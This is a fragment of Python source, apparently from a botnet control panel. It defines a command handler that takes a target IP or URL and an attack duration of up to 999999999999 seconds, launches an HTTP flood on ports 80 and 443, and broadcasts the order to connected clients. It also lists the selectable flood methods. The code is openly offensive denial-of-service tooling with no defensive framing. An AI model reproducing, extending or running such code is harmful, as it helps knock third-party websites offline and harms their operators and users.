(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)
| 118 | send(client, '[HTTP_METHODS] <-- get post head delete options patch put all') |
| 119 | |
| 120 | def http_req2(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 121 | if len(args) == 3: |
| 122 | ip = args[1] |
| 123 | secs = args[2] |
| 124 | if validate_time(secs): |
| 125 | send(client, ansi_clear, False) |
| 126 | attack_sent1(ip,"80/443", secs, client) |
| 127 | broadcast(data) |
| 128 | else: |
| 129 | send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)') |
| 130 | else: |
| 131 | send(client, 'Usage: .http_dfb [URL] [TIME]') |
no test coverage detected